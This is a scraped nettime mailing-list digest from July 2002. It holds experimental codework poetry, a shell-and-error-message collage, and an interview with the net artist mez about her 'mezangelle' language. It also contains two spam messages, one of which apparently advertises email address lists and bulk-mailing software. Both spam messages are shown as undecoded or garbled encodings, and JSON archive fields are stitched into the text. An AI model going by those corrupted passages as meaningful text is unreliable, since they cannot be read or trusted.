>\n>> >sleek sun shawl brought\n>> >sprawling speech lore\n>> >from a prior crawl\n>> >atop the blimp tube\n>> >running down the salt\n>> >toward an even young motet\n>> >the simplex leech in water's\n>> >due sun ravishing\n>> >the school of fish and weighing\n>> >less than sunken eyes\n>> >the sad point of the heat note\n>> >and the fumes of the imagined ship\n>> >and shack's due blended swimming\n>> >tepid as a monk fish\n>> >in the lifted sea\n>> >\n>> >sheila e. murphy\n>> >\n>> >\n>> >\n>> >\n>> >__________________________________________________\n>> >Do You Yahoo!?\n>> >Sign up for SBC Yahoo! Dial - First Month Free\n>> >http://sbc.yahoo.com\n>>\n>> __________________________________________\n>> Dr. John M. Bennett\n>> Curator, Avant Writing Collection\n>> Rare Books & Manuscripts Library\n>> The Ohio State University Libraries\n>> 1858 Neil Av Mall\n>> Columbus, OH 43210 USA\n>>\n>> (614) 292-8114\n>> bennett.23 {AT} osu.edu\n>> ___________________________________________\n>\n>\n>__________________________________________________\n>Do You Yahoo!?\n>Sign up for SBC Yahoo! Dial - First Month Free\n>http://sbc.yahoo.com\n>\n\n\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nSubject: Re: [_arc.hive_] Re: (no subject)\nDate: Sat, 13 Jul 2002 20:02:49 +0200\n\nAt 19:58 13/07/02 +0200, Karl Petersen <loy {AT} myrealbox.com> wrote:\n     lo_y says:\n Courier\">=B0te0 !iifdd  !_z m\n   bged0 0czzg0        \n   0fcz  l0 =3D\n  \n   0xw   \n  x__mo_l0 =3D0\n  0  =3Dbzxws  l_0 !0 =3D0 0 !|\n 0m0 0o~  0f 0a\n0 i_ 0m_ 0vo~  mz  0 0_ 0fzzg\n  c0 0 !0  te  pyz =3Db_ =3Dg0 aed\n     sg\n !c0! f0 0_0 d0 !gka0 =B0 _ 0zbnafn\n  g =3D 0| 0 /b_m 0zg0 0 0dmzx\n    |a 00 _y  =B0 agm\n =3D =3Dwff0 gbf0 0lcer|wo tzb_0 !go  c 0g !i 0xnu  b0 0\n =3D 0x~\n  0a !zzbg|s\n \n 0 g| wx_g_e 0h a 0y0=B0c\n  zzf_y  0d0 wxy   t0 0 =3D 0n0 xg .z_\n  !gkkgm0- 00 0 0 !i0 xgmav\n0o 0e0 =3D0\n        x ,  te !0 0d0 fb_e\n    0y0 fc00 g0   !zu_xz\n  =3D0 =3Dgzegc0 |   !c\n  wo0 =3D|zb_\n !~soh0 0ryg0  cadwx0 eb0 l 0| =3Dgm| !gma 0s 0 0d0\n ! =3De  ca 0o0   0  \n 0xd0 0 =3D\n  \ni !_eeee =3D_mz 0blw 0dxtanzr\n !ioc0\n zffb_0  0x 0  ca|yg0 !at\n 0g  +~xwyg0 0fg0 r  /h0 0c =3Dg =3Dg 0|\n=B0 fwz0  w !cz|yg0 =3D0 0l_bz  0d !n  t  zzfzxcg\n0  c|  0re0  ~ =3D0 0d  a|  0d_\n 0   !c  pceam||de\n    0d0 xbm 0yfag =3Dz__gz\n0u   =B0sgg| ap0 =3D0 ! 0w =3Danzoc0 0  |w  l !a /bw=20\n! =B0  0| 0 !arx0 dd\n \n \n \n0            &nb= sp;            &= nbsp;           \n\n0         /fq|           \n0            &nb= sp;            &= nbsp;           \n\n u\n-~ts /kpd_f0 |u  _0?c  kbwobw__g  bgl_~z0 cg\n-~ts / ww  ybhyb0 c jxewc0 ~em\n-~ts / ww  foal_0 eb iy_zomjz  fq|\n0            &nb= sp;            &= nbsp;           \n0            &nb= sp;            &= nbsp;            = ;       \n0zzo0 izxq !gknhkl /hxu\n0zzo0 izxqxm0 o0 eb0 |\n-~ts / m0 o0 eb0 |  gknmgm  hxu_kad nzzo0 izxq\n |ix /hxu !x 0rxrzbe 0vspx|vxe 0d    !~ts / ww  o0 eb0 |\n=B0-----------------------------------------------------------\n=B0------------- f0-------------------------------------------\n            &nbs= p;        \n=B0---------------------- 0-----------------------------------\n=B0-----------------------------------------------------------\n=B0------------xu\n-~ts /kpd_f0 |u  _0?c  kbwobw__g  bgl_~z0 cg\n-~ts / ww  ybhyb0 c jxewc0 ~em\n-~ts / ww  foal_0 eb iy_zomjz  fq|\n=B0-----------------------------------------------------------\n=B0-----------------------------------------------------------\n_______________________________________________\n\n\nSubject: [Nettime-bold] _Perspektive_ Interview [mez interviewed by sylvia egger]\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nDate: Thu, 18 Jul 2002 09:59:36 +1000\n\n\n\n_\nA. heinrich heine blames 1843 the railway for annihilating space. the\npromised cybermedium seems so reestablish (virtual) space in a cooperative\ntime schedule. MEZ is operating in a self-de/constructed textual space\ncalled \"TTT\" (textual time travel) which means a way of thinking, producing\nand manifesting in/to a theory dungeon of what is stated to be the frame of\nmodern consciousness - network, internet, browser crawling. the\nmanifestation area in which the textual space take place is called\n\"Cybagenic Lattrix\", a \"net.wurked\" sphere between latrinous space and\nmatrix scenes. what is this working matrix about? is it a kind of\nfaradayesque cage where avant garde practice has to capture itself to train\nits techniques and discourse or is it more a so called \"teleklause\"\n(billwet) for nintendo specialist and word capturers?\n_\n\ni should b.gin with the proviso that my neologismic term][inologie][s [such\nas the _Cybagenic Lattrix_ or _Textual Time Travel_] largely x.ist as\ndefinition portals; they act 2 compile meaning only in terms of offering a\ncon][ceptual][venient _housing_ structure by which n.tities can x.tract &\nchain][hyper][link associations via text. i'd much prefer it if ppl\ncan|could possibly construct|imagine terms that are more appropriate in\nterms of their own formulation|x.periential reality of a net.wurked\nspac][tim][e.....\n\n...anyway, on2 a more direct answer..the meaning of a \"][net][wurk.ing\nmatrix\" can be conceptualized as a tapestry of potentialities, or n.finite\npermutations of defor][com][m][unic][ation activity. i stretch & delve\n][in][ this potentiality in terms of collaborative action|absorption &\nformation of cod][n][e][t][.wurks. the m][l][at][t][rix m.bodies n.tricate\ns][ilicon][ymbiotic tendencies which pulse information via n.finite\nvariations & states of data fluxing that shift, mold & d.fine the net.wurk\nas a cohesive, un.predic][a][t][ed][able n.vironment.\n\n+net.wurk. p][ercept][atterning. is. reticular.+\nread:: +perpetual information in flux, via an x.tended & repetitious curve\nof data-dipping.+\n\n\n_\nB. most of the discourse \"shipping\" of MEZ in mailing lists is manifestish\nor manifesto-like. all avant garde rangers used the technique of\nmanifestation to promote their information highway. your operating manual\nstyle - a highgrade mixture of theory, e-technical jargon and - junk and\npoetry memes [oh - i won't forget to mention the brackets :-)]- is a more\noverwhelming variance of manifestism - a kind of para/beta-manifestism -\nwhat to promote is not to sell. what is your connection to manifestism and\nthe manifesto rangers? and is there nowadays a real difference to\nself/promotion?\n_\n\n1stly it's m.portant to acknowledge that i'm always loathe 2 d.fine myself\nvia regular literary|acceptable benchmark][her & him][s [ie manifesto\n_tagging_] as mezangelle|code.wurking hopefully e.cli][ck][pses definitions\nin terms of a net.wurk perspective.\n\n......having said this, i do c the similarities evident in my mezangelled\ntexts [ie code.wurks] that offer statements of creative n.tent & formats\naligning themselves 2wards a manifesto styling. howeva, this isn't a\nprimary con][scious][cern in terms of information presentation..... i do\nagree that this type of activity via mailing list|forum performances [ie\nposting my code.wurks] is a type of ][new][ x.pressive promotion as opposed\nto advertising|commercial spam/leap-frogging that is seeping thru the\nnet.wurk.\n\n+i. re.route. language. via. net.based. mechanisms. that. allow. 4. n.hanced.\nlateral. signification. or. as.sim][ple][ilation.+\n\n+i. am. stained. with. repetition.+\n[re.peat]\n::the chip.mark of the net.\n::][kulture][work::abbreviated strokes::sampling::a][scii][graffiti::code\nlangues::bass.house::jung][le][mantras\n.all .][t][h][r][ive .in .he][a][re.....\n\n\n_\nC.  recently MEZ states the positioning problems in the net.art field as\nbourdieu summarizes the field process in every art/avant garde field: first\nthere is the movement and a lot of \"new\" and subversive discourse, second\nthe resistance against the canon crumbles and the crawling into\n\"pref-fabricated authorical comfortzones\" (MEZ) begins and the movement\nlooses the connection to itself and the subversive discourse: maybe to\ntransfer your own words - from E-Motes to E-fashion. you are - so to say -\nfamous in net.art field, get awards and make a lot of this representation\nstuff. what is your protection to get/be into the net.art canon and to keep\nyour textual space alive?\n_\n\n...my ][.][ini][file][al n.tention|function in this net.wurked sphere is 2\nmake sure i don't bl][ind][andly n.ternalize the strictures of a dominant\ndiscourse & b so swamped by it that nuthin else ][is capable of][\nshin][ing][es.........\n\n....my f.forts 2 keep the _textual space_ alive forms from the need 2\nactualise x.pr][n][e][t][ssion with hybrid conceptual|theory bases that\nactually reflect the dynamics of the medium itself..... avenues|portals\nsuch as mailing list forums that allow n.tities 2 dis.play n.herent\ncuriosity, flexibility & a nuanced multilogued style that allows\ncontributors 2 n.teract via various communication modes that n.courages\nabsorption & viable learning templates, & has contributors that want 2\nquestion & absorb n.formation rather than make assumptions, wallow in\ngossip, & display reactionary communicative behaviours r all crucial 2 my\ncode.wurk dispersal......\n\n....the assumption that ppl on a mailing list:\na) cannot d.cide 4 themselves how to navigate & absorb inform][accumula][tion\nb) r an amorphous group of regular dialogical d.votees who r present on\nmailing lists in order 2 b x.posed 2 promotional|descriptive information\nwith no depth perception regarding the info/data politik nor the nuanced\nactualities that surround the use of such lists/net.works.......\nb) that individuals have the right 2 _own_ & there4 _maintain_ a space on\nthe net.work [ie in.boxes] that must subjected 2 info that is\ndis.curs][e][ive in nature & representative of an isolation-data-presentation\n...all contributes 2 the idea that the net.wurk can be trapped in2 a\ndefinable space, 1 that will gel in2 a canonistically frozen m.ulation area\nd.void of ability & potentiality.\n\n\n+ i. rewite. &. reroute. this. monog][l][azed. view. of. the. net.wurk.+\n+ i. seek. 2. channel.+\n\n\n\n_\nD. for eric kluitenberg cyberspace is the optimal space for avant garde\noperation: the task of an avant garde ranger today is to disrupt the\nhegemonial code and to smash the cute surface of internet promotion, a kind\nof de/recoding all sort of language junk on the internet. mckenzie wark\nspeaks of \"codework\" in a similar way about your work: a de/reconstruction\nof language. you call your work \"mezangelle\" language, a streaming\n\"he.art.ache\" for users exposed to a hard stuff experimental terrain. most\nof your disrupting techniques are well known in the field of experimental\nwriting. but the new aspect in your work is the \"fresh\" air of contemporary\nmaterial and coincidence of \"meanings\" in and around a word-item. what is\nyour connect to experimental literature? what is the role of the user or\ncode viewer in MEZ' textual space and is there a chance to survive the word\ncrash? :-)\n_\n\ni'm not actually keen 2 link or analyse my wurks in terms of an\n_x.perimental literature_ tag, but can understand that those that do need 2\ncompartmentalize my wurk in terms of predicated history|precedental\nevidence..............its n.teresting, this obsession with labels N\nd.finitions that m.brace our work N our s][h][elfs.....coming from the POV\nof a nic][lic][he.d \"net.artist\" i guess i try N span many labels, and have\nfound myself doing so lately in order 2 survive [grants, competitions,\netc].........but it is, s.sentially, crap. labels do nothing 2 further\nx.pressive development, & seem 2 primarily s][w][erve 2 mark artists N wurk\nalong a definitive, prosperity plane.......we b.come objects N\nobjecti.f][r][ied in order to slot in the societal/memetic framework......\n\nthe mezangelled l.ements that pp|theorists c as linked 2 an experimental\nliterature perspective r the use of ico][de][nographs, fragments of\nprogramming language-shards/operating system echos such as ][knit 1][\nPearl][.....tree-structures|wildcard refs|booleanisms|unix shell\ncommands|warped html conventions|javascript code re.workings|ascii][esque][\netc etc....the repeated allusions 2 hyperlinks via bracketing of meanings,\nalternative shadowings to absorption & understanding....[almost a mimicking\nof the x.pansion of the potentialities of co.d][iscours][e in an\nenvironment x.clusively reliant on it].....\n\n...the _main_ ele.ment][al][s that keeps mezangelled creched in the netwurk\nis information trawling, the draw][l][ of netwurk language & symbol\ncon][inter][ventions & the collaboratory n.tent........i always write &\nsend via email listings, MOO environs etc in the hope that the wurk will\nspiral out in2 a collaborative e.vent....even if the scissored textings\ndon't e.voke a direct response from code viewers, the fact that the method,\nformulation & *.exe.][elo][cution r geared 2wards it means mezangelle could\nnot x.ist without the netwurk as a sub][im][mergence arena....\n\ni try ][mammothlishly][ hard 2 make sure that the poetic/sensual nature of\nmy net.wurks balance & offer some sense loadings|purr.spectiff 2 those not\nneccessarily in the netwurked|code loop, though i do tend 2 heavily load\nthe code.wurks with a structure that mimics a code|net.worked reality......\n\n+. this. is. how. users. survive. the. wur][co][d][ed][ crash.+\n\n\n_\nE. in billwet space exists a dandy called \"datadandy\" - a postmodern form\nof walter benjamins passage dandy - a modern eye monster so to say. :-) the\ndatadandy uses information and cyberspace the same way as the historical\none not to transmit the gathered information: just to pose with it in the\npublic. in MEZ' textual space lives a new form of dandy which is called\n\"dataderwish\" or \"E-mote\".  as his/her historical model s/he gatheres\ninformation and promotes it but his/her main purpose is to communicate not\nto boast. sometimes the dataderwish is called a spammer in analogy to the\ndatadandy which jams the bandwith along the data boulevards. is the\ndataderwish the ascetic brother of the datadandy? where is MEZ' data\nboulevard and why is spam so lost?\n_\n\n  the mez-data-avenue is the antithesis of the monogaze][r][.\n\nthe mez-data-boulevard does not adhere 2 a perceptual slant that hi-lites\nthe net.wurk only as a series of interconnected set of difference-loadings,\nof x.clusive infopackets that can][should][not be transferred nor\ncross-posted in order that multiple x.posure 2 information|data will not\noccur 4 various individual enities that n.habit various sets....rather than\nn.corporating a more holistic viewpoint of the netwurk & acting along an\nn.clusion axis......\n\n.i c this monogaze as n.dicative of an ego-driven [by ego i mean\nself-cogitating, not ego as in inflated] awareness that perceives the\nbreak-points of an netsystem via individual opinions based on an awareness\nthat may not be replicated via the community population. i also view it as\nperpetuating a theory structure that relies on a linear interpretation of\ninformation, 1 that cuts of any repetitive nuancing in order that data is\npresented in accordance with a determinist POV.\n\n+. i][nstead][.c.that.we.should.revel.in.net.wurking.\ncross-pollination.activity+\n\n\n\n_\nF. the dataderwish is only a capsule for many alias: ][terr.or.vision][ or\n][c.o.!.a.x.(ing)][ are variable names for her/him in your textual space.\nthe author is only a mediator, a processor across the apparatus or a\nsubjective parser as Talan Memmott  states. for gene youngblood is avant\ngarde today a merging of metadesigner and renaissance amateur. MEZ\ngenerates is own networking, is engineer and amateur in one. which role\nplays the metadesign in your working and is cultural programming an alias\nfor future jamming? :-)\n_\n\n+. my. ][l(ectronic)atent][. consciousness. is. operational. in. terms. of.\na. net.wurked arena.+\n+. 1. that. values. information. in. terms. of. a. context. in. which.\nelements. r. replicated. &. sequenced. in. burgeoning. waves.+\n+. a. weave. &. flow. of. accented. [code language|emulation]. patches.\nthat. r. lapping.  {AT} |thru-o][p][ut. m.mersed. personas.+\n\n\n\n\n\n\n\n\nnettime unstable digest vol 3\n:.!date\nFre Jul 19 15:33:34 CEST 2002\n\ngrep ^Subject: \n\nSubject: _net_][paral][lax 1.7.2: Hellos & tone.ality_\nSubject: [Nettime-bold] what is happening?\nSubject: i am so sorry i\nSubject: [Nettime-bold] \\\\ fog! + zol!tar! zekt\u015frz\nSubject: [Nettime-bold] Mailman results for Reader-list\nSubject: [Nettime-bold] life.a-domesticguide;$sunday+1\nSubject: [Nettime-bold] Japanese girl VS playboy\nSubject: man: Formatting Lawrence UPTON\nSubject: hingLings.of.said\nSubject: canal bleu :+++++:\nSubject: 'sa.log/ue\nSubject: Filing Names\nSubject: Re: [_arc.hive_] Re: (no subject)\nSubject: [Nettime-bold] _Perspektive_ Interview [mez interviewed by sylvia egger]\n\ngrep ^From: \n\nFrom: Soli Psis <solipsis {AT} HEVANET.COM>\nFrom: \"Cur.][O][va.ture\" <netwurker {AT} hotkey.net.au>\nFrom: \"Tracey Benson\" <tracey.benson {AT} anu.edu.au>\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nFrom: integer {AT} www.god-emil.dk\nFrom: reader-list-request {AT} sarai.net\nFrom: guide {AT} life.a-domesticguide.com\nFrom: Jbrad1111 <Jbrad1111 {AT} aol.com>\nFrom: Karl Petersen <diocletian {AT} visi.com>\nFrom: a u t u m n - f r e q u e n c y <star.power {AT} usa.net>\nFrom: =?iso-8859-1?Q?=80?= <e {AT} various-euro.com>\nFrom: + lo_y + <loy {AT} MYREALBOX.COM>\nFrom: Alan Sondheim <sondheim {AT} PANIX.COM>\nFrom: zKrell <krell {AT} SERVE.COM>\nFrom: Sheila Murphy <shemurph2001 {AT} YAHOO.COM>\nFrom: \"+   lo_y.  +\" <loy {AT} myrealbox.com>\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sat, 20 Jul 2002 09:29:45 +0200",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200207211843.OAA26262 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0207/msg00142.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 3"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00178",
                "content": "\nTo: nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] $BL$>5Bz9-9p\"(%S%8%M%9%D!<%k%9%Z(B $B%7%c%k%Q%C%/!*!*(B\nFrom: $B {AT} 6?e(B <jyouho7777 {AT} anet.ne.jp>\nDate: Wed, 24 Jul 2002 08:50:58 +0900\nReply-to: nettime-bold {AT} nettime.org\n     \n\n$B%S%8%M%9%D!<%k%9%Z%7%c%k%Q%C%/$N$40FFb$G$9!#(B\n$BFbMF$O!\"=EJ#$J$7#2#5#0K|7o%a!<%k%\"%I%l%9!\\(B\n$BB><}=8%\"%I%l%9?t==K|7o!\"%^%kHkCO2<>pJs!\"0l(B\n$B3gAw?.%=%U%H!\"<}=8%=%U%H!J#3Jm!\"4k6H>pJs!\"#F#A#X0l3gAw?.%=%U%H!\"(B\n$B$J$I!\";H$$ {AT} Z$l$J$$0L$N>pJs$,#1K|1_$K$F9XF~(B\n$B$G$-$^$9!#%\"%J%m%0!&%G%8%?%k1D6H$I$A$i$K$b(B\n$BBP1~$G$-!\"$3$N%=%U%H$r:FHN$b2DG=$G$9!#(B\n$B$4F~6b8e!\"B(F|%U%!%$%k$rAw?.CW$7$^$9!#(B\n$B$44uK>$NJ}$K$O%W%i%9#5 {AT} i1_$K$F!\"40A4?HJ,>Z(B\n$BITMQ$NCf8E%W%j%Z%$%I7HBSEEOC$bHNGd$7$^$9!#(B\n$B!JDL>o!\"8=:_$O?HJ,>Z$,I,MW!K$^$?!\"9XF~$NJ}(B\n$B$O!\":#8e$N?7>&IJ$r#83d0z$K$FDs6!$$$?$7$^$9!#(B\n\n$BK|0lF1$8$h$&$J>pJs$r0B$/8+$D$1$i$l$?>l9g$O!\"(B\n$B#U#R#L$r$*Aw$j$$$?$ {AT} $-!\"F1Ey$N>pJs$G$7$?$i!\"(B\n$B$=$N2A3J$h$j!\"#1#0#0#01_3d0zCW$7$^$9!#(B\n\n$B!z$*Gc$$F {AT} >pJs!z(B\n$B#N#T#T%I%3%b%W%j%Z%$%I7HBSEEOC#P#6#5#1#p#s(B\n$B!J?7IJ!&?HJ,>ZITMQ!K#1#0Bf%;%C%H!!#7K|1_(B\n$B!!!!!!!!!!!!!!!!!!!!!!#1Bf$N$_$O!!#8 {AT} i1_(B\n\n$B#J!]#P#H#O#N#E!!ZITMQ!K!!!!!!!!#1K|#5 {AT} i1_!A(B\n\n$BB>$K$b%W%j%Z%$%IB??t$\"$j$^$9!#(B\n\n$B9XF~4uK>$NJ}$O(B\n$B!!!!!!!!(Bjyoho5555 {AT} anet.ne.jp$B!!$^$G(B\n$B;j5^Aw6b {AT} hEy$r$4O\"MmCW$7$^$9!#(B\n$B!!!!!!!!(B\n\n------------------------------\n\n$B:#8e%a!<%kG[?.ITMW$NJ}$O$*\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: CORE CORE bash bash CORE bash\nDate: Sun, 21 Jul 2002 20:30:30 -0400 (EDT)\n\n\n\n\nCORE CORE bash bash CORE bash\n\n\nThere are %d possibilities.  Do you really\nwish to see them all? (y or n)\n\nSECONDS\nSECONDS\n\ngrep hurt mm grep terr mm grep these mm grep eyes grep eyes mm grep hands\nmm grep terr mm > zz grep hurt mm >> zz grep nobody mm >> zz grep\nimportant mm >> zz grep terror mm > z grep hurt mm >> zz grep these mm >>\nzz grep sexy mm >> zz grep eyes mm >> zz grep terror mm > zz grep hurt mm\n>> zz grep these mm >> zz grep sexy mm >> zz grep eyes mm >> zz grep sexy\nmm >> zz grep hurt mm >> zz grep eyes mm grep hurt mm grep hands mm grep\nterr mm > zz grep these mm >> zz grep nobody mm >> zz prof!\n\nif [ \"x`tput kbs`\" != \"x\" ]; then # We can't do this with \"dumb\" terminal\n        stty erase `tput kbs`\n\nDYNAMIC LINKER BUG!!!\n\ncannot create capability list Cannot allocate memory Invalid argument No\nsuch file or directory Operation not permitted Input/output error\nPermission denied Error ' failed! Assertion ` BUG IN DYNAMIC LINKER ld.so:\n\n0123456789abcdefghijklmnopqrstuvwxyz\n0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ\n\nhistory: bad non-numeric arg `mm' Virtual memory exhausted. tgetent:\nwarning: termcap entry too long virtual memory exhausted clntunix_create:\nout of memory svc_unix.c - AF_UNIX socket creation problem svc_unix.c -\ncannot getsockname or listen svcunix_create: out of memory svc_unix:\nmakefd_xprt: out of memory\n\npqrstuvwxyzabcde\n0123456789abcdef\n\ngetpt: internal error: invalid exit code from pt_chown ! \"getpt: internal\nerror: invalid exit code from pt_chown\" empty dynamics string token\nsubstitution invalid mode for dlopen() shared object not open DES entry\nfor netname %s not unique netname2user: missing group id list in `%s'.\nnetname2user: DES entry for %s in directory %s not unique netname2user:\nprincipal name `%s' too long netname2user: LOCAL entry for %s in directory\n%s not unique netname2user: should not have uid 0\n\nMaster server busy, full dump rescheduled. Unable to create process on\nserver No file space on server Unable to authenticate NIS+ client Unable\nto authenticate NIS+ server Yes, 42 is the meaning of life NIS+ service is\nunavailable or not installed NIS+ operation failed Full resync required\nfor directory Error in accessing NIS+ cold start file.  Is NIS+ installed?\nAttempt to remove a non-empty table Query illegal for named table Modify\noperation failed Passed object is not the same object on server Illegal\nobject type for operation Non NIS+ namespace encountered Error while\ntalking to callback proc Named object is not searchable Missing or\nmalformed attribute Error in RPC subsystem Too many attributes Partial\nsuccess Link points to illegal name Entry/table type mismatch Database for\ntable does not exist Modification failed Name/entry isn't unique Not\nfound, no such name Results sent to callback proc Unable to create\ncallback Malformed name, or illegal name Invalid object for operation Not\nmaster server for this domain Object with same name exists Server out of\nmemory Name not served by this server Not owner Permission denied\nFirst/next chain broken Generic system error Server busy, try again\nUnknown object NIS+ servers unreachable Cache expired Probably not found\nNot found\n\n    Explicit members:\n    No explicit members\n    Implicit members:\n    No implicit members\n    Recursive members:\n    No recursive members\n    Explicit nonmembers:\n    No explicit nonmembers\n    Implicit nonmembers:\n    No implicit nonmembers\n\nunable to free arguments\n\n_\nTo: nettime-l {AT} bbs.thing.net\nSubject: [Nettime-bold] _Hir][in][s][tit][ut][ion][e Net.Work ][non][Formation::WarRage_\nFrom: \"][co][De][e][p.rivation\" <netwurker {AT} hotkey.net.au>\nDate: Wed, 24 Jul 2002 18:22:40 +1000\nReply-to: nettime-bold {AT} nettime.org\n     \n\n\n\n\n_|Uber|N.stitute|of|Net.vorkian|][N][In[e lives][Formation|Wa.|Rage_\n\n\n\n[aka dark terror][vision][(j)ism--]\n--m][canon f][ountains of dea(d)th lust.age--\n--dow][jones scrabbling][ned via se.gre(p)gated m.path.E st][d][ances--\n--eco.][sheltered ge][nomic sucking thru a war.torn.straw--\n\n[aka hypo.terra][vision][+ vacuous uber.isms--]\n[aka dark terro.ris[ing]m--]\n\n\n\n/\n::][h][arms sing][ed][ular +pixel drift[.ing]\n::glass green f][l][ilt.e.red inf.r][uby][ared\n::pre.emp.t][y][iff & gifs vul.can.][c][ic][atrix][\n\n/\n::[[pr]e.m.ptying rabid flip.faced c.mantick echos]\n::[drinking m.printing millit][g][aris][h][tic]\n\n/\n::bad c|O-D|uh                  [death knella soundinge = .uhn.]\n::[o-dee(j)ing on milita][.N.][c][rypt][(f)elled]\n\n\n\n\n_[milit.sha jocky vs ][h][armed s][l][ur.vi][le][ce]_\n\n_[dropping peace][.meal][code & suctioned war|fix][es][]_\n\n\n\n\n\n\n\n\n\n\n.           .    ....         .....\ncollapsing adj[thr]usting.txt\n.\n.\n][co][De][e][p.rivation\nwww.cddc.vt.edu/host/netwurker/\nhttp://www.macros-center.ru/read_me/inexen.htm#re\n.... .               .???  .......\n\nTo: <NETTIME-L {AT} bbs.thing.net>\nSubject: [Nettime-bold] Head & Rotor VE 07/25\nFrom: \"diesel fuel injection\" <china_lutong {AT} 163.com>\nDate: Thu, 25 Jul 2002 09:28:32 +0800\nReply-to: nettime-bold {AT} nettime.org\n     \n\nDear Sir,\n\n *\u0104\u00b0\u00d6\u0110\u00c2\u02c7\u00cd\u00a8\u0139\u00e4\u017a\u0163\u0142\u00a7\u0104\u0105\u00d7\u00a8\u0147\u013e\u00c9\u00fa\u02db\u00faVE\u0105\u0102\u00cd\u02c7(VE\u02c7\u00d6\u0139\u00e4\u0105\u0102\u0105\u0102\u00cd\u02c7\u00d7\u00dc\u0142\u00c9),\u00d6\u00f7\u0147\u015e\u0110\u00cd\u015f\u0139\u00d3\u0110\n    \u00ce\u013a\u0118\u017d\u00c1\u013a4JB1,\u017c\u013e\u0102\u00f7\u00cb\u01616BT,\u0147\u0154\u00ce\u0179\u017c\u00c2\u013e\u00cd\u0139\u0139\u02c7\u0139,\u00ce\u013a\u0118\u017d\u00c1\u00e4\u0106\u00a4\u017c\u00a8.....\n\n\n\n * \u00d6\u0110\u00c2\u02c7\u00cd\u00a8\u0139\u00e4\u017a\u0163\u0142\u00a7\u00d3\u0110\u015b\u0155\u00c4\u0119\u00c9\u00fa\u02db\u00faVE\u0105\u0102\u00cd\u02c7\u013e\u00c4\u017e\u0143\u00e9, \u00d7\u00f7\u00ce\u015e\u02dd\u010e\u00d4\u00e7\u02dd\u0159\u010c\u00eb\u00d3\u00cd\u0105\u0102\u00d3\u00cd\u00d7\u011b\u0110\u0110\n   \u0147\u013e\u013e\u00c4\u00d7\u00a8\u0147\u013e\u0142\u00a7,\u00ce\u0147\u0102\u00c7\u0118\u0105\u017c\u011a\u00b8\u00fa\u00d7\u016e\u0161\u00fa\u017a\u0118\u00b8\u00f7\u013e\u0158\u0106\u00e4\u00cb\u00fc\u02db\u0144\u00d3\u00cd\u010c\u017a\u00d3\u00cd\u0139\u00e7\u00c9\u00e4\u010e\u013e\u00cd\u0142\u013e\u00c4\u00d6\u0106\n   \u00d4\u011b\u00c9\u011a\u013e\u00c4\u00c9\u00fa\u02db\u00fa\u0161\u00a4\u0147\u0150,\u02db\u02d8\u00c7\u0147\u02db\u0165\u015b\u010e\u00ce\u00fc\u0118\u0150\u0161\u00fa\u017a\u0118\u00c9\u010e\u00d7\u00ee\u010e\u010c\u02dd\u0159\u013e\u00c4\u017a\u00d3\u0161\u00a4,\u02db\u00e2\u0118\u00d4\u0161\u00a4.\u02db\u00fa\u0106\u02c7\u013e\u00c4\n   \u00d6\u0118\u00c1\u017c\u015f\u00cd\u00cd\u00e2\u0161\u0170\u00cd\u0179\u0161\u00fa\u00cd\u00e2\u00cd\u0179\u0154\u0155\u02db\u00fa\u0106\u02c7\u010e\u0155\u013e\u0105.\n\n * \u010c\u00e7\u015b\u00d4\u00ce\u0147\u0102\u00c7\u013e\u00c4\u02db\u00fa\u0106\u02c7\u00b8\u0110\u0110\u00cb\u010c\u00a4,\u00c7\u00eb\u00cd\u00a8\u00d6\u015e\u00ce\u0147\u0102\u00c7.\n\n\n\n\n\n   we have been in the field of diesel fuel injection\nsystems for quite a few years.(CHINA)\n\n   We tell you that we will update our VE h&r\n(hydraulic heads for the VE distributor pump) list in our\n\nhomepages.Thirty more models will be added.And the minimum\norder will be 6pcs a model.We quote them as follows:\n3-cyl:USD:50/1pcs\n4-cyl:USD:50/1pcs\n5-cyl:USD:55/1pcs\n6-cyl:USD:55/1pcs\n\n   We can ship the following three models to you within 8~10 weeks. after\nwe receive your payment.\n  If you feel interested in our products,please advise the details about\nwhat you need,such model name,part number,quantity and so on.We are always\nwithin your touch.\n  Looking forward to our favorable cooperation.\n  Hope to hear from you soon.\n(NIPPON DENSO)\n096400-0920\n096400-0143\n096400-0242\n096400-0371\n096400-0432\n096400-1030\n096400-1210\n096400-1230\n096400-1240\n096400-1250\n096400-1330\n096400-1331\n096400-1600\n096540-0080\n(ZEXEL)\n146400-8821\n145400-3320\n146400-4520\n146400-8821\n146400-9720\n146401-0520\n146401-2120\n146402-0820\n146402-0920\n146403-2820\n146402-3820\n146402-4020\n146402-4320\n146403-3120\n146403-3520\n146404-1520\n146404-2200\n146430-1420\n(BOSCH)\n1 468 333 320\n1 468 333 323\n1 468 334 313\n1 468 334 327\n1 468 334 337\n1 468 334 378\n1 468 334 475\n1 468 334 496\n1 468 334 565\n1 468 334 575\n1 468 334 580\n1 468 334 590\n1 468 334 594\n1 468 334 595\n1 468 334 596\n1 468 334 603\n1 468 334 604\n1 468 334 606\n1 468 334 666\n1 468 334 675\n1 468 334 720\n1 468 334 780\n1 468 334 798\n1 468 334 874\n1 468 334 899\n1 468 334 946\n2 468 334 021\n2 468 334 050\n2 468 335 022\n1 468 335 345\n2 468 336 013\n1 468 336 352\n1 468 336 364\n1 468 336 371\n1 468 336 403\n1 468 336 418\n1 468 336 423\n1 468 336 464\n1 468 336 480\n1 468 336 614\n1 468 336 626\n\n\n\n\n                                    C.Hua\n\nSales & purchasing director\nhttp://WWW.China-LuTon.com\nchina_lutong {AT} 163.com\n\nTo: nettime-l {AT} bbs.thing.net\nSubject: 